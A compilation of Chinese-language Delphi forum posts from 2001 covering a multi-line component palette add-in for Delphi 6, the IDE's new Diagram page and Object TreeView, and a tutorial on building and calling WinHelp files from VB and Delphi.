finalization
GJnIDE.Free;

end.

投稿人：bird　投稿日期：2001-5-25 16:13:00


Delphi6 的多行Component Palette实现

    不久前，Borland公司出品的最新的Delphi 6，我也下载了一个Delphi 6练练手，虽然有很多令人兴奋的改进(比如XML和网络Indy控件就是经典)，但最为让人恼火的是Delphi的VCL控件体系不是很兼容，我以前在Delphi 5里面用的习惯的一些插件(Experts)和控件大部分无法正确安装，这是一个让人恼火的事情，尤其对于一个喜欢在Delphi里面安装一些第三方产品的人，比如大名鼎鼎的GExperts (http://www.gexperts.org/)。
    GExperts是一个免费的Delphi增强工具，有相当多的功能，其中之一就是Component Palette - 控件面板的多行显示，好像下图显示的那样。我是一个爱玩新鲜的人，或者说我不是很安分，我的Delphi会安装相当多的第三方控件，有时候找起来就很费时间，像下图这样显示多行控件面板，找起来就比较方便。有很多插件提供了如下的多行显示控件面板功能，比如BUPack、CodeRush等等。这些著名的产品都包含有这样的功能，可惜的是现在都没有Delphi 6的版本，我们怎么自己实现该功能呢？
3.jpg (40682 Bytes)

    做为一个程序员当然会选择自己开发，老是等待他人的恩惠那是多么没有面子的事情。幸运的是，GExperts是一个免费提供源代码的产品，我下载了源代码并进行了相应功能的分析，也分析了一些其他人的实现方法，发现原理非常简单，想知道的话，先看我下面提炼的做了最简单化的源代码。

unit MultiLinePaletteExpert;

interface

uses
Forms, Controls, ComCtrls;

implementation

type
TMultiLinePalette = class
public
procedure ResizeComponentPalette(Sender : TObject);
end;

var
MultiLinePalette : TMultiLinePalette;

procedure TMultiLinePalette.ResizeComponentPalette(Sender : TObject);
var
AHeight : integer;
begin
with (Sender as TTabControl) do begin
AHeight := Height + DisplayRect.Top - DisplayRect.Bottom + 29;
Constraints.MinHeight := AHeight;
Parent.Constraints.MaxHeight := AHeight;
end;
end; {ResizeMultiLineComponentPalette}

procedure SetMultiLineComponentPalette(MultiLine : boolean);
var
AppBuilder : TForm;
TabControl : TTabControl;
begin
AppBuilder := TForm(Application.FindComponent('AppBuilder'));
if (AppBuilder <> nil) then begin
TabControl := TTabControl(AppBuilder.FindComponent('TabControl'));
if (TabControl <> nil) then begin
TabControl.MultiLine := MultiLine;
if MultiLine then
TabControl.OnResize := MultiLinePalette.ResizeComponentPalette
else
TabControl.OnResize := nil;
end;
end;
end; {SetMultiLineComponentPalette}

initialization
MultiLinePalette := TMultiLinePalette.Create;
SetMultiLineComponentPalette(true);

finalization
SetMultiLineComponentPalette(false);
MultiLinePalette.Free;

end.

    这个Unit文件定义了一个TMultiLinePalette类，其实这个类没有什么别的目的，仅仅是定义一个ResizeComponentPalette方法实例，动态赋值给ComponentPalette类的OnResize方法，这里提一句，动态方法赋值是Delphi程序员常用的一个技巧，一个事件对应多个方法，实时配置。其实，我们的代码关键是找到Component Palette的类实例。

    左边的窗口是我写的截取Delphi6的主窗口的所有Component的Name列表，通过使用的是Components[].Name属性获得。Delphi有几个主要的窗口类，左边的是Object Inspector和Object TreeView 窗口，我们的代码编辑窗口和窗体设计窗口，以及最上面的主操作窗口，我们关心的就是它了，因为它包含了Component Palette窗口类，注意，这里的窗口指的是从TWinControl继承下来的含有Handle属性的类，不仅仅是TForm类的子类，这个概念Delphi程序员经常混淆。
   1.bmp (186550 Bytes) 　获得该列表的作用是为了获取到Delphi6的主操作窗口的所有Component类的名称，可以告诉你的是，AppBuilder就是这个主操作窗口TForm类的名字，代码
TForm(Application.FindComponent('AppBuilder'));
就是找到主窗口类AppBuilder并赋值给一个TForm对象，这是多态的应 2.bmp (205894 Bytes) 用，各位朋友应该不会陌生吧。右边的截图是AppBuilder Form所包含的Components[].Name列表，因为它的子窗口类非常的多，这里只是给出了前面的20个子类，没有关系，我们已经看到第二个Name是TabControl，没错，就是它了，

TabControl := TTabControl(AppBuilder.FindComponent('TabControl'));

写完这行代码就几乎大功告成了，因为我们已经找到控件面板的类实例了。不用怀疑，我们的TabControl变量就是Delphi 6主窗口的控件面板的类实例强制转换为了TTabControl类型的值，最为父类，TTabControl有MultiLine属性，我们按照需要进行设置，OK，搞定！

    这段Unit需要安装，不要嫌我罗嗦，我见过很多Delphi程序员，面对此类代码不知所措，我简单介绍一下安装过程，新建一个Unit，将上面的代码全部拷贝进去，保存为MultiLinePaletteExpert.pas文件，新建一个Package，Add刚刚保存的MultiLinePaletteExpert.pas文件，编译、安装。想卸载该Package，在Delphi菜单项选择Component/Install Pacgage，找到我们的bpl，remove它就可以了，简单吧！另外，如果你还有任何问题，欢迎你联系我dragonpc@21cn.com ，欢迎一起来了解Delphi的奥妙。

Dragon P.C. - DDaa - Bruce Luo

作者会员名：dragonpc


Delphi6最新体验——Diagram
grhunter

摘　要：介绍D6新工具——Diagram
关键字：Diagram
类　别：Delphi & IDE

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

我们将用一系列文章向大家介绍D6的新特性。我个人认为Delphi的帮助是最好的资料，所以文章将主要基于帮助文档。当然，除了翻译和讲解，还会加上一些心得、例子等等。好了，闲话表过，进入正题。
今天要介绍D6 IDE中新增的一个页面--Diagram，中文意思是“图表”。在下面的图中，可以看到，在原来的Code（代码）页旁边，增加了一个Diagram页。这个页面是用来做什么的呢？

图一 Diagram页

可以注意到，D6 IDE中还多了一个Object Treeview，用树的形式把窗体上的组件显示出来。而Diagram页的作用，就是提供一个可视化工具，组织这些组件。你也可以为这些组件添加注释，创建文档或者打印出来。

为了把组件显示在Diagram页，可以从Object Treeview中拖过来。简单地拖动组件、放置到Diagram页，组件将会垂直排列。按住Shift键拖动，组件将会水平排列。也可以通过拖拽操作重新排列Diagram页上的组件。当组件被放置在Diagram页上时，会有一些线段连接它们，用箭头来表示它们之间的关系。当然，你也可以自己添加这些连接符号。

以一个简单的form为例。在form1上有一个ClientDataset，一个DbGrid和一个Datasource。当把它们从Object TreeView中拖到Diagram时，可以注意到，一些线段和符号把它们连接起来。图表清晰地显示了它们之间的关系。请注意，ClientDataset和Datasource都是不可视对象，而Aggregates则是ClientDataset的属性。

图二 组件之间的关系

组件之间的关系有五种：

暗指 (箭头)
属性 (带有指向对象箭头的线段)
主从 (两端带有不对称"鼓状"图标的线段)
查看 (末端带有"眼睛"图标的线段)
父子 (带有空心箭头的线段，指向父对象)

在Diagram中也可以添加注释块。注释块为黄地黑字。点击图标的中部可以扩大或者扭曲线段和箭头。要改变元素和线段的颜色，右击并选择颜色。也可以移动、重命名、删除属性连接线旁边的标签。要删除一个组件、连接线或注释块，选择它，右击，选择"Remove"。在Diagram页中的删除操作不会影响真正的对象。除了父子关系，其它连接线都可以删除。

也可以创建并保存多个diagram。要创建一个新diagram，点击"New Diagram"，一个新页面会出现。可以选择或者重命名标题。点击删除图标可以删除一个Diagram。

图三 新建、选择、重命名、删除

下面的图片显示了在Diagram中右击一个ClientDataSet弹出的菜单。你可以很简单地对这个
ClientDataSet进行数据库操作。

图四 数据库组件弹出菜单

Diagram页面将被保存为 .DDP文件。在编译时，.DDP文件不会产生任何影响。
投稿人：grhunter　投稿日期：2001-6-17 12:29:00


 Object TreeView简要说明
在Delphi 6 IDE中，最显眼的新功能可能就是Object TreeView了。由于Delphi 6比较新
，介绍它的资料还很少，所以很多人不知道如何使用Object TreeView，甚至嫌它太占地
方而将它关闭了。事实上，当窗体上的构件越来越多的时候，你才会发现Object TreeV
iew的强大功能。
以下是关于Object TreeView功能的一个简单介绍，其主要内容取自《Mastering Delph
i 6》，我只是做一些整理和翻译的工作罢了。希望能对使用Delphi 6的朋友有所帮助。

关于Object TreeView的使用
1．在Delphi 5的Data Module设计器中，使用了一个TreeView来显示非可视构件（如Da
taSet, Fields,Actions等等）之间的关系。Delphi 6中的Object TreeView则是它的扩
展，它不仅对于Data Module，对于普通窗体和其他对象也可用。
如果Object TreeView当前不可见，而又想使用它，选择View | Object TreeView即可。

2．Object TreeView使用层次视图来显示窗体上的构件以及它们之间的关系。最典型的
是父子关系：例如，所有Form上的构件都是Form的子节点；又如，放一个Panel到窗体上
，再往Panel上面放一个Button，则Button会成为Panel的子节点。
Object TreeView，Object Inspector和窗体设计器是同步的。这就是说，在窗体上选择
一个构件，则在Object TreeView中也会自动选中该构件，同时Object Inspector中显示
该构件的属性和事件；同理，在Object TreeView中选择一个构件，窗体上也会同时选择
该构件，在Object Inspector中显示其属性和事件。因此，Object Inspector可以看作
窗体设计器的一个增强，在窗体上构件比较多，而且彼此覆盖的时候，在Object Inspe
ctor种选择一个构件往往比从窗体上面选择或者从Object Inspector的列表中查找要方
便快捷。
3．Object TreeView中还能够显示构件之间的其他关系。举例如下：
（1）用Menu Designer设计菜单，所有菜单项按其在菜单中的层次显示在MainMenu节点
下；
（2）对于数据集构件，例如TTable，Object TreeView还会显示它在运行时刻将产生的
一些对象，例如Session，Alias等，但由于它们是运行时刻才产生的，所以无法编辑它
们的属性，在Object TreeView中这些对象将以无名称的节点和一个特殊的图标来表示，
并且在选中这些节点的时候，Object Inspector中没有属性可以编辑。
（3）对于ListView，Object TreeView还会列出它的Columns，在Columns上面点击右键
，就可以直接编辑各个列。这比从Form Designer上面选择ListView，再选择Columns E
ditor来的方便。其他一些构件也有类似的情况，例如HeaderControl的Sections，Cool
Bar的Bands，StatusBar的Panels，都可以从快捷菜单中直接编辑。（ToolBar默认情况
下虽然没有将Buttons列出，但是仍然可以在从Object TreeView中ToolBar的快捷菜单中
建立Button和Separator。）
4．想精确设置构件之间的Contains关系，Object TreeView也是一个有用的工具。可以
通过下面的试验来验证：
（1）在窗体上面放置一个Panel；
（2）从构件面板上选择Button构件；
（3）将鼠标定位在Object TreeView上面（但先不要按下）。你会注意到，当鼠标指向
可以作为Container的构件，例如Form和Panel的时候，光标形状会变成一个箭头带一页
纸的形状，这说明构件可以放置到Container上面。相反，如果鼠标停留在ListBox，La
bel这样的构件上面，那么光标将会变成No Drop形状，说明它们不能作为Container。
（4）将光标定位在Panel上面，并按下左键。Button将自动成为Panel的子节点，同时，
Panel和Button也建立起了contains关系。
你可以很容易的改变构件之间的Contains关系。例如，在Object TreeView中拖动Butto
n到Form上面，则现在拥有Button的Container就不再是Panel，而是Form本身了。在过去
，这种操作是通过Cut&Paste来完成的，但是Cut&Paste也有一个缺点，那就是一个构件
被剪切后，它和其他构件之间的关联就丢失了。而使用Object TreeView，不会有这种缺
点。
在窗体上面的构件很多，并且彼此覆盖的时候，在Form Designer中查找和操作某个构件
就变得相当麻烦。在这个时候，Object TreeView更能够显示它的作用。
Object TreeView和Code Editor中的Diagram视图配合，还能够发挥更为强大的作用。不
过这些内容相当多，需要另外用一个专题来讲述了。
Object TreeView很有用，不过代价是要多占一点屏幕空间。由于Delphi IDE支持各个工
具的Docking，你可以将Object TreeView和Object Inpector组合在一起，成为一个窗口
，这样可以稍稍节省一点屏幕空间。Object TreeView和Object Inspector既可以左右排
列，也可以上下排列，这两种方式各有优缺点。你可以选择你喜欢的方式，然后用Desk
top工具栏上Save Desktop按钮，来将你的桌面设置保存起来供下次使用。


安装VCL构件帮助文件

修改..\help目录下的两个文件：
delphi5.cfg
; Third-party Help
;----------------- //下面一行自己加入
:Link XXX.hlp //你的hlp文件

delphi5.cnt
;==============
; Include section
;================ //下面一行自己加入
:Include XXX.cnt //你应该还有这个文件吧


调用帮助

procedure TForm1.Button1Click(Sender: TObject);
var
searchstr:string;
begin
//searchstr:='Add child';
//Application.HelpFile := 'MYHELP.HLP';
//Application.HelpCommand(help_key,longint(pchar(searchstr)));//搜索指定字符串
//Application.helpcommand(help_finder,0);//显示索引页
end;
As usual my comment was not tested as much as should have been, however now i have at last found the solution to my problem.

Found it in a FAQ somewhere it goes like this.

Programmers must define the command HELP_TAB = 0x000F (decimal 15). Then, to use the HELP_TAB command with the WinHelp API function, the dwData value (as integer) seems to work as follows:

If there are custom tabs defined, a value of 1 calls the first custom tab, 2 the second custom tab, etc. To call the standard tabs, use -3 for Contents tab, -2 for the Index tab, and -1 for the Find tab.
//////////////////////////////////////
procedure TForm1.SearchHelp;
var
P: PChar;
begin
Application.HelpFile := 'c:\delphi\bin\delphi.hlp';
P := StrNew('');
Application.HelpCommand(Help_PartialKey, longint(P));
StrDispose(P);
end;
/////////////////////////////////////////////////
procedure TForm1.Contents1Click(Sender: TObject);
begin
Application.HelpCommand(HELP_CONTENTS, 0);
end;

procedure TForm1.SearchforHelpOn1Click(Sender: TObject);
begin
Application.HelpCommand(HELP_PARTIALKEY, 0);
end;

  procedure TForm1.HowtoUseHelp1Click(Sender: TObject);
begin
Application.HelpCommand(HELP_HELPONHELP,
0);
end;
///////////////////////////////////////////////////////////
Application.HelpCommand(HELP_QUIT,
0);


帮助文件教程

帮 助 文 件 速 成( 上)
蓝 深 远 望 系 统 集 成 有 限 公 司----杜 香 聪

带 有 帮 助 文 件 的 应 用 程 序 无 论 对 程 序 员 还 是 用 户 都 是 不 同 凡 响 的， 它 能 节 省 印 刷 大 量 用 户 手 册 的 开 支， 对 程 序 员 编 辑 修 改 和 用 户 手 册 的 复 制 保 存 都 极 为 方 便。 帮 助 文 件 的 另 一 个 很 有 前 景 的 应 用 是 单 独 作 为 带 有 图 文 信 息 的 电 子 图 书 发 布。

在 此 对 帮 助 文 件 的 编 制 及 如 何 在 程 序 中 编 程 调 用 作 一 详 尽 介 绍。 首 先 介 绍 第 一 部 分， 帮 助 文 件 的 编 写。

帮 助 文 件 的 编 写 步 骤：

先 编 写 存 有 所 有 帮 助 信 息 的 帮 助 源 文 件RTF 文 件。

编 写 帮 助 项 目 文 件HPJ 文 件。

对HPJ 文 件 编 译， 最 后 生 成HLP 文 件。
帮 助 源 文 件RTF 文 件 的 编 写
帮 助 源 文 件 是 存 有 所 有 帮 助 信 息 的， 这 是 一 种RTF（Rich Text Format) 文 件, 帮 助 文 件 象 一 本 书， 由 目 录 及 一 个 个 章 节 组 成， 各 章 节 之 间 的 跳 转 是 由 定 义 的 热 点 来 完 成。 现 在 举 一 具 体 例 子（ 由 目 录 等 五 条 信 息 组 成） 详 细 说 明。
原 始 信 息 由 五 个 章 节 组 成： 目 录、 概 述、 说 明、 程 序、 安 装。象 前 面 每 一 节 的 标 题（“ 目 录”，“ 概 述”， “ 说 明”，“ 程 序”， “ 安 装”） 在RTF 文 件 中 必 须 以 特 有 的 脚 注（ 即$) 明 确 指 定。 对 每 一 节 还 须 指 定 其 跳 转 名( 脚 注 是# ， 跳 转 名 不 能 是 汉 字）， 以 便 标 识， 在 这 我 们 给 每 一 节 分 别 取 名 为：contents , description, explanation ,programming, setup, 对 每 一 节 还 可 指 定 其 搜 索 关 键 字（ 脚 注 是K）， 关 键 字 可 以 是 一 个 或 多 个， 汉 字 和 英 文 均 可。

---- 具 体 操 作 如 下： 进 入Microsoft Word 中 文 版, 选 择： 文 件/ 新 建， 先 输 入 第 一 节 的 内 容： 输 入 第 一 节 的 标 题：“ 目 录”， 将 光 标 移 到“ 目 录” 的 前 面， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 脚 注 和 尾 注”， 选“ 脚 注” 和“ 自 定 义 标 记”， 输 入：$ 符 号， 这 时 文 档 下 方 出 现 脚 注 编 辑 窗 口， 光 标 也 自 动 落 在 文 档 下 方 的 脚 注 编 辑 窗 口 中， 在 光 标 处 接 着 输 入 这 一 节 的 标 题：“ 目 录”， 有 时 看 不 到 文 档 下 方 的 脚 注 窗 口， 这 只 要 将 系 统 菜 单 中“ 视 图” 的“ 脚 注” 选 上。

---- 下 面 定 义 这 一 节 的 跳 转 名, 将 光 标 移 到“ 目 录” 的 前 面， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 脚 注 和 尾 注”， 选“ 脚 注” 和“ 自 定 义 标 记”， 输 入：# 符 号， 这 时 文 档 下 方 出 现 脚 注 编 辑 窗 口， 光 标 也 自 动 落 在 文 档 下 方 的 脚 注 编 辑 窗 口 中， 在 光 标 处 接 着 输 入 这 一 节 的 跳 转 名：“contents”( 有 时 看 不 到 文 档 下 方 的 脚 注 窗 口， 这 只 要 将 系 统 菜 单 中“ 视 图” 的“ 脚 注” 选 上) 定 义 这 一 节 的 搜 索 关 健 字。 将 光 标 移 到“ 目 录” 的 前 面， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 脚 注 和 尾 注”， 选“ 脚 注” 和“ 自 定 义 标 记”， 输 入：k 符 号， 这 时 文 档 下 方 出 现 脚 注 编 辑 窗 口， 光 标 也 自 动 落 在 文 档 下 方 的 脚 注 编 辑 窗 口 中， 在 光 标 处 接 着 输 入 这 一 节 的 搜 索 关 健 字， 搜 索 关 健 字 可 以 是 中 文 或 英 文， 一 个 或 多 个， 中 间 用 分 号（ 即 ；） 隔 开， 这 儿 我 们 输 入： 目 录； 目 次；contents。

---- 最 后 定 义 这 一 节 的 顺 序 号。 顺 序 号 相 当 于 一 本 书 中 各 章 节 的 页 码。 将 光 标 移 到“ 目 录” 的 前 面， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 脚 注 和 尾 注”， 选“ 脚 注” 和“ 自 定 义 标 记”， 输 入：+ 符 号， 这 时 文 档 下 方 出 现 脚 注 编 辑 窗 口， 光 标 也 自 动 落 在 文 档 下 方 的 脚 注 编 辑 窗 口 中， 在 光 标 处 接 着 输 入 这 一 节 顺 序 号， 如：0001，0002，0003 等。 这 儿 我 们 输 入：0001.

---- 这 样， 第 一 节 的 脚 注 标 记 全 部 作 完。

---- 第 二 节 的 脚 注 标 记 作 法 一 样。（ 第 一 节 和 第 二 节 要 有 分 页 符， 选 择 系 统 菜 单 的“ 插 入”， 选 “ 分 隔 符”，“ 分 页 符”）。

---- 在 帮 助 文 件 中， 当 用 户 在 按 了 绿 色 的 跳 转 文 本， 就 应 该 跳 转 到 对 应 的 章 节， 如 何 定 义 一 个 热 点 跳 转 呢 ？ 因 为 我 们 已 经 定 义 了 第 一 节 的 跳 转 名， 只 要 将 跳 转 文 本 与 要 跳 转 到 的 那 一 节 的 跳 转 名 联 系 起 来， 跳 转 文 本 在RTF 文 件 中 是 带 双 下 划 线 的 文 本， 以 上 例 操 作 如 下：

---- 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 下 划 线”， 选“ 双 线”， 然 后 开 始 输 入 热 点 文 本， 这 儿 我 们 输 入“ 概 述”， 输 入 完 热 点 文 本， 清 除 双 下 划 线 格 式， 操 作： 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 下 划 线”， 选“ 无”， 清 除 双 下 划 线 格 式 后， 紧 接 着 选 择 隐 藏 文 本 格 式， 输 入 跳 转 目 的 地 的 跳 转 名， 操 作： 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 效 果”， 选“ 隐 藏”， 输 入 跳 转 目 的 地 的 跳 转 名， 这 儿 输 入“description”， 输 入 完 清 除 隐 藏 文 本 格 式。 清 除 隐 藏 文 本 格 式 的 操 作： 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 效 果”， 将“ 隐 藏” 复 选 框 除 去。

---- 如 何 定 义 热 点 弹 出 说 明。 它 与 以 上 热 点 跳 转 文 本 一 样， 只 不 过 它 是 带 单 下 划 线 的 文 本。 操 作 如 下： 选 择 字 符 的 单 下 划 线 格 式， 输 入 弹 出 式 热 点 文 本， 如 上 例 输 入 的 是“ 单 下 划 线 的 指 定 说 明 热 点”， 操 作 如 下： 选 择 系 统 菜 单 上 的“ 格 式”/“ 字 体”， 选 择“ 字 体”/“ 下 划 线”， 选“ 单 线”， 然 后 开 始 输 入 热 点 文 本， 这 儿 我 们 输 入“ 单 下 划 线 的 指 定 说 明 热 点”， 输 入 完 热 点 文 本， 清 除 单 下 划 线 格 式， 紧 接 着 选 择 隐 藏 文 本 格 式， 输 入 跳 转 目 的 地 的 跳 转 名， 这 儿 是 弹 出 窗 口 的 跳 转 名： 这 儿 输 入“my_pop_up”， 输 入 完 清 除 隐 藏 文 本 格 式。 弹 出 窗 口 一 节 要 与 其 它 章 节 用 分 页 符 分 开。 只 要 指 定 跳 转 名 即 可。

---- 我 们 经 常 看 到 的“ 参 阅”、“see also” 弹 出 窗 口 就 是 这 样 作 出 来 的。

---- 如 何 对 图 形 指 定 热 点 跳 转。 在RTF 文 件 中 使 用 图 形， 可 以 用 语 句：{bmc 图 形 文 件 名}，bmc 表 示 图 形 放 在 中 间，bml 表 示 图 形 放 在 左 边，bmr 表 示 图 形 放 在 右 边， 图 形 文 件 可 以 是 一 般 的BMP 位 图 和SHG 热 点 跳 转 图 形 文 件。

---- 如 用 户 在 图 形 某 处 按 动 时， 会 弹 出 一 个 说 明 窗 口。 而 热 点 图 形.shg 文 件 由.bmp 位 图 文 件 通 过 工 具 软 件Hotspot Editor 编 辑 而 来。Hotspot Editor 是 随Visual Basic （ 在VB 的HC 目 录 下） 和Visual Foxpro（ 在VFP 的HELPCOMP 目 录 下） 发 布 的。 执 行 文 件 名 是SHED.EXE。 操 作： 运 行SHED.EXE， 选File/Open， 装 入 要 用 到 的 位 图 文 件。 这 儿 用 一 人 头 形 位 图man.bmp, 在 图 形 上 拖 动， 产 生 一 个 个 热 点， 双 击 任 一 热 点 区 域， 出 现 一 对 话 框， 只 要 在Context String 处 输 入 要 跳 转 或 弹 出 目 的 地 的 跳 转 名。 热 点 类 型Type 处 选 取 Jump 跳 转 式 或 Popup 弹 出 式。 热 点 区 域 边 框 属 性Attribute 选 取 可 见Visible 或 不 可 见Invisible。 在 这 个 例 子 中Context String 输 入eye_popup,Type 选 取 Popup,Attribute 选 取Invisible ( 隐 去 热 点 区 域 的 边 线).

---- 以d:\winword\man.shg 文 件 名 存 盘， 退 出SHED.EXE。

---- 如 何 产 生 固 定 的 不 滚 动 标 题 区 域， 不 滚 动 区 域， 在 显 示 特 长 的 信 息 时 很 有 用， 可 这 样 操 作： 用 光 标 将 要 不 滚 动 的 区 域 全 选 上， 点 取 系 统 菜 单 上 的“ 格 式”/ “ 段 落”， 选“ 正 文 排 列”， 将“ 与 下 段 同 页” 选 上。

---- 就 这 样， 帮 助 信 息 源 文 件 所 有 的 工 作 都 已 作 完， 在WORD 中 将 文 件 以RTF 格 式 存 盘。 下 面 进 入 帮 助 项 目 文 件HPJ 的 编 辑。

建 立 帮 助 项 目 文 件（.HPJ 文 件）
以 一 实 例 说 明， 语 句 分 号 右 边 是 注 解
[OPTIONS] ; 这 一 节 的 内 容 并 非 必 须
COMPRESS=0 ; 指 示HLP 文 件 不 压 缩
ERRORLOG=my.err ; 编 译 错 误 存 于 此 文 件
REPORT=Yes ; 编 译 时 报 告
CONTENTS=contents ; 目 录 跳 转 名
COPYRIGHT= ; 版 权 信 息
DEFFONT=,10,0 ； 字 体 大 小
BMROOT=. ; 指 示BMP 文 件 的 存 放 位 置，
在 同 一 目 录 下 用 空 白 或“.” 否 则BMROOT=Drive:\Path
HLP=.\dxchlp.hlp ; 表 明 生 成 的 帮 助 文 件 名
[FILES] ; 唯 一 重 要 的 一 节
.\Dxchlp.rtf ; 所 用RTF 文 件 名（ 包 括 路 径）

---- [WINDOWS] ; 语 法 Main=" 主 窗 口 的 标 题",( 窗 口 水 平 位 置， 垂 直 位 置， 宽 度， 高 度）， 状 态， 背 景 颜 色（R，G，B）， 非 滚 动 区 域 背 景 颜 色（R，G，B）， 是 否 总 是 浮 在 其 它 窗 口 上 面（0 为False,1 为True) 例：

---- Main=“ 主 窗 口 标 题”，（512,10,512,1000),0,(255,251,240),(192,192,192),0

---- ； 语 法： Second=; 语 法 同 上 面 主 窗 口， 例：

---- Second=“ 次 级 窗 口 标 题”，（10,10,500,1000),0,(254,251,240),(191,192,192),1

---- [CONFIG]

---- BrowseButtons() ； 加 一 向 前 向 后 按 钮

---- 其 实 用 不 着 写 这 么 多， 最 省 事 的 帮 助 项 目 文 件 是 这 样 只 有 一 条 语 句， 其 它 全 是 缺 省 值：

---- [FILES] ； 节 名 称

---- Myhelp.rtf ； 所 用RTF 文 件 名（ 包 括 路 径, 如c:\winword\Myhelp.rtf）

---- 以 上hpj 文 件 用 任 何 编 辑 器 编 辑 后 以HPJ 文 件 存 盘。

对 帮 助 项 目 文 件HPJ 进 行 编 译， 形 成HLP 文 件
---- 编 译 要 用 编 译 工 具HC.EXE， 在VB 的HC 目 录 下 有HC.EXE， 在VFP 的HELPCOMP 目 录 下 有HC31.EXE 和HC35.EXE， 任 选 一 个 使 用。 操 作：HC 文 件 名， 或HC31 文 件 等, 如：HC31 Myhelp.hpj

---- 现 在 介 绍 第 二 部 分， 对 帮 助 文 件 编 程。

---- 帮 助 文 件 的 最 终 目 的 是 要 应 用 到 自 己 程 序 中。 现 以 最 常 用 的 三 种 开 发 工 具VB，VFP，DELPHI 分 别 举 一 最 简 单 例 子。

VB
---- 进 入VB， 选File/New Project， 出 现 一 空 白 窗 体Form1, 加 一 个 通 用 对 话 框CommondDialog1 到Form1， 点 取Menu Editor， 设 置 一 菜 单， 一 级 菜 单 有 二 项：（Caption 分 别 为：）File ，Help， 而File 的 下 一 级 菜 单Exit，Help 的 下 一 级 菜 单 为Contents， KeyWords Search， About， 对 应 的Name 属 性 分 别 为:mnuFile，mnuHelp，mnuExit，mnuContents，mnuSearch，mnuAbou。 假 定 帮 助 文 件 是D:\WINWORD\DXCHLP.HLP。
---- 程 序 代 码 如 下：

Private Sub Form_Load()
CommonDialog1.HelpFile = "d:\winword\dxchlp.hlp"
End Sub

Private Sub mnuContents_Click()
With CommonDialog1
.HelpCommand = cdlHelpContents 'cdlHelpContents 是 显 示 目 录 的 命 令
.ShowHelp
End With
End Sub

Private Sub mnuSearch_Click()
With CommonDialog1
.HelpCommand = cdlHelpKey 'cdlHelpKey 是 显 示 关 健 字 搜 索 的 命 令
.ShowHelp
End With
End Sub

Private Sub mnuAbout_Click()
aboutform.Show 1 ' 以 模 态 显 示" 关 于" 窗 口
End Sub

Private Sub mnuExit_Click()
End
End Sub

以 上 可 用 调 用 动 态 联 结 库 的 方 法， 代 码 如 下：
（1） 模 块 文 件：
Global Const HELP_CONTENTS = &H3&
Global Const HELP_KEY = &H101
Declare Function WinHelp Lib "user32" Alias "WinHelpA"
(ByVal hwnd As Long, ByVal lpHelpFile As String, ByVal
wCommand As Long, ByVal dwData As Long) As Long '
必 须 同 一 行; 为WIN95,NT
' Declare Function WinHelp Lib "User" (ByVal hwnd As
Integer, ByVal lpHelpFile As String, ByVal wCommand As
Integer, dwData As Any) As Integer ' 必 须 同 一 行; 为WIN3.X
（2） 窗 体 文 件
Private Sub Form_Load()
App.HelpFile = "d:\winword\dxchlp.hlp"
End Sub

Private Sub mnuContents_Click()
i% = WinHelp(Form1.hwnd, App.HelpFile, HELP_CONTENTS, 0)
End Sub

Private Sub mnuKeySearch_Click()
i% = WinHelp(Form1.hwnd, App.HelpFile, HELP_KEY, 0)
End Sub

DELPHI
---- 进 入DELPHI， 选File/New Project， 出 现 一 空 白 窗 体Form1, 加 一 个 菜 单 控 制Mainmenu1 到Form1， 双 击Mainmenu1， 设 置 其 一 级 菜 单， 有 二 项：（Caption 分 别 为：）File ，Help， 而File 的 下 一 级 菜 单Exit，Help 的 下 一 级 菜 单 为Contents， KeySearch， About， 对 应 的Name 属 性 分 别 为: File1，Help1，Exit1，Contents1，KeySearch1，About1。
---- 因 为 要 用 到About 关 于 窗 口， 所 以 加 入 一 新 窗 体， 其Name 属 性 为AboutBox， 再 加 入 一BitBtn 按 钮OKButton 到AboutBox 窗 体，OKButton 的Caption 属 性 为OK，Glyph 属 性 为 一 确 定 图 片 或 干 脆 为 空。

---- 假 定 帮 助 文 件 是D:\WINWORD\DXCHLP.HLP。

---- 程 序 代 码 如 下：

program Delhelp;

uses
Forms,
Unihelp in 'UNIHELP.PAS' {Form1},
Uniabout in 'UNIABOUT.PAS' {AboutBox};

{$R *.RES}

begin
Application.CreateForm(TForm1, Form1);
{Application.CreateForm(TAboutBox, AboutBox);}
{注意注掉这一行，因为AboutBox是在运行时产生的,详见代码}
Application.Run;
end.

unit Unihelp;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Menus,
uniAbout;

type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
File1: TMenuItem;
Help1: TMenuItem;
contents1: TMenuItem;
KeySearch1: TMenuItem;
About1: TMenuItem;
Exit1: TMenuItem;
procedure Exit1Click(Sender: TObject);
procedure contents1Click(Sender: TObject);
procedure KeySearch1Click(Sender: TObject);
procedure About1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Exit1Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.contents1Click(Sender:
TObject);
begin
Application.HelpFile :=
'd:\winword\dxchlp.hlp';
Application.HelpCommand(Help_Contents,0); { 显 示 帮 助
目 录}
end;

procedure TForm1.KeySearch1Click(Sender: TObject);
begin
Application.HelpFile := 'd:\winword\dxchlp.hlp';
Application.HelpCommand(Help_PartialKey,0); { 显 示 关 键 字 搜 索}

end;

procedure TForm1.About1Click(Sender: TObject);
var
myAbout:TAboutbox;
begin

myAbout:=TAboutbox.Create(Self);{myAbout 是 类TAboutbox 的 一 个 实
例}
myAbout.ShowModal; { 显 示“ 关 于”}

end;

end.

unit Uniabout;

interface

uses WinTypes, WinProcs, Classes, Graphics, Forms, Controls, StdCtrls,
Buttons, ExtCtrls;

type
TAboutBox = class(TForm)
OKButton: TBitBtn;
procedure OKButtonClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
AboutBox: TAboutBox;

implementation

{$R *.DFM}

procedure TAboutBox.OKButtonClick(Sender: TObject);
begin
Close;
end;

end.

